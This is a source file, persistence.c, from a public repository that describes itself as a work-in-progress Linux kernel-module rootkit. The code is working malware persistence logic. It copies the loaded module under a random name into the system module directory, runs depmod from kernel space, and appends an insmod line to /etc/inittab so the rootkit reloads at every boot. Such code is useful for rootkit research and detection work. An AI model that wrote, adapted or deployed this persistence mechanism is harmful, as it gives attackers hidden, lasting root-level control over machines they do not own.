mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

persistence.c (5361B)

      1 #include <linux/delay.h>
      2 #include <linux/fs.h>
      3 #include <linux/init.h>
      4 #include <linux/kernel.h>
      5 #include <linux/kmod.h> // For call_usermodehelper
      6 #include <linux/kprobes.h>
      7 #include <linux/kthread.h>
      8 #include <linux/module.h>
      9 #include <linux/random.h> // For get_random_bytes
     10 #include <linux/slab.h>
     11 #include <linux/string.h>  // For strlcpy
     12 #include <linux/time.h>    // For current_time
     13 #include <linux/utsname.h> // For utsname()
     14 #include <linux/version.h>
     15 
     16 #include "../includes/mina.h"
     17 
     18 int add_inittab_entry(char const *entry) {
     19     int ret = 0;
     20     struct file *file;
     21     loff_t pos = 0;
     22 
     23 
     24     file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
     25     if (IS_ERR(file)) {
     26         printk(KERN_ERR "[mina] Error opening /etc/inittab: %ld\n", PTR_ERR(file));
     27         return PTR_ERR(file);
     28     }
     29 
     30     if (!file || !entry) {
     31         printk(KERN_ERR "[mina] Invalid file or entry\n");
     32         ret = -EINVAL;
     33         goto out;
     34     }
     35 
     36     ret = kernel_write(file, entry, strlen(entry), &pos);
     37     if (ret < 0) {
     38         printk(KERN_ERR "[mina] Error writing to /etc/inittab: %d\n", ret);
     39         goto out;
     40     }
     41 
     42     file_update_time(file);
     43     printk(KERN_INFO "[mina] Timestomped /etc/inittab.\n");
     44 
     45 out:
     46     filp_close(file, NULL);
     47     return ret;
     48 }
     49 
     50 static int copy_file(const char *src_path, const char *dst_path) {
     51     struct file *src_file = NULL, *dst_file = NULL;
     52     loff_t pos = 0;
     53     int ret = 0;
     54     char *buffer;
     55 
     56     src_file = filp_open(src_path, O_RDONLY, 0);
     57     if (IS_ERR(src_file)) {
     58         printk(KERN_ERR "[mina_persist] Failed to open source file %s: %ld\n", src_path, PTR_ERR(src_file));
     59         return PTR_ERR(src_file);
     60     }
     61 
     62     dst_file = filp_open(dst_path, O_WRONLY | O_CREAT, 0644);
     63     if (IS_ERR(dst_file)) {
     64         printk(KERN_ERR "[mina_persist] Failed to open destination file %s: %ld\n", dst_path, PTR_ERR(dst_file));
     65         ret = PTR_ERR(dst_file);
     66         goto out_src;
     67     }
     68 
     69     buffer = kmalloc(PAGE_SIZE, GFP_KERNEL);
     70     if (!buffer) {
     71         ret = -ENOMEM;
     72         goto out_dst;
     73     }
     74 
     75     while (true) {
     76         long bytes_read = kernel_read(src_file, buffer, PAGE_SIZE, &pos);
     77         if (bytes_read < 0) {
     78             ret = bytes_read;
     79             printk(KERN_ERR "[mina_persist] Error reading from source file: %ld\n", bytes_read);
     80             break;
     81         }
     82         if (bytes_read == 0) {
     83             break;
     84         }
     85         long bytes_written = kernel_write(dst_file, buffer, bytes_read, &pos);
     86         if (bytes_written < 0) {
     87             ret = bytes_written;
     88             printk(KERN_ERR "[mina_persist] Error writing to destination file: %ld\n", bytes_written);
     89             break;
     90         }
     91         if (bytes_written != bytes_read) {
     92             ret = -EIO;
     93             printk(KERN_ERR "[mina_persist] Partial write to destination file.\n");
     94             break;
     95         }
     96     }
     97 
     98     kfree(buffer);
     99 out_dst:
    100     filp_close(dst_file, NULL);
    101 out_src:
    102     filp_close(src_file, NULL);
    103     return ret;
    104 }
    105 
    106 int stage_and_persist_module(void) {
    107     char *src_path = NULL;
    108     char *dst_path = NULL;
    109     char *rand_name_buf = NULL; // Renamed to avoid confusion with the previous rand_name array
    110     char *inittab_entry = NULL;
    111     char *argv_depmod[] = {"/sbin/depmod", NULL};
    112     char *envp[] = {"PATH=/sbin:/usr/bin", NULL};
    113     int ret = 0;
    114     int i;
    115 
    116     src_path = kmalloc(PATH_MAX, GFP_KERNEL);
    117     if (!src_path) {
    118         ret = -ENOMEM;
    119         goto cleanup;
    120     }
    121 
    122     dst_path = kmalloc(PATH_MAX, GFP_KERNEL);
    123     if (!dst_path) {
    124         ret = -ENOMEM;
    125         goto cleanup;
    126     }
    127 
    128     rand_name_buf = kmalloc(16, GFP_KERNEL); // For 8 chars + ".ko\0"
    129     if (!rand_name_buf) {
    130         ret = -ENOMEM;
    131         goto cleanup;
    132     }
    133 
    134     inittab_entry = kmalloc(256, GFP_KERNEL);
    135     if (!inittab_entry) {
    136         ret = -ENOMEM;
    137         goto cleanup;
    138     }
    139 
    140     // THIS_MODULE->name is the module name (e.g., mina_xxxx)
    141     snprintf(src_path, PATH_MAX, "/lib/modules/%s/kernel/drivers/%s.ko",
    142              utsname()->release, THIS_MODULE->name);
    143 
    144     get_random_bytes(rand_name_buf, 8);
    145     for (i = 0; i < 8; i++) {
    146         rand_name_buf[i] = (rand_name_buf[i] % 26) + 'a';
    147     }
    148     rand_name_buf[8] = '\0';
    149     snprintf(rand_name_buf + 8, 16 - 8, ".ko"); // Use snprintf for appending ".ko"
    150 
    151     snprintf(dst_path, PATH_MAX, "/usr/lib/modules/%s/kernel/drivers/%s",
    152              utsname()->release, rand_name_buf); // Using random name for module.ko
    153 
    154     printk(KERN_INFO "[mina_persist] Staging module from %s to %s\n", src_path, dst_path);
    155 
    156     ret = copy_file(src_path, dst_path);
    157     if (ret < 0) {
    158         printk(KERN_ERR "[mina_persist] Failed to copy module: %d\n", ret);
    159         goto cleanup;
    160     }
    161 
    162     printk(KERN_INFO "[mina_persist] Running depmod.\n");
    163     ret = call_usermodehelper(argv_depmod[0], argv_depmod, envp, UMH_WAIT_PROC);
    164     if (ret != 0) {
    165         printk(KERN_ERR "[mina_persist] depmod failed with %d\n", ret);
    166     }
    167 
    168     snprintf(inittab_entry, 256, "::sysinit:/sbin/insmod %s\n", dst_path);
    169     ret = add_inittab_entry(inittab_entry);
    170     if (ret < 0) {
    171         printk(KERN_ERR "[mina_persist] Failed to add inittab entry: %d\n", ret);
    172     } else {
    173         printk(KERN_INFO "[mina_persist] Persistence installed to %s\n", dst_path);
    174     }
    175 
    176 cleanup:
    177     kfree(src_path);
    178     kfree(dst_path);
    179     kfree(rand_name_buf);
    180     kfree(inittab_entry);
    181 
    182     return ret;
    183 }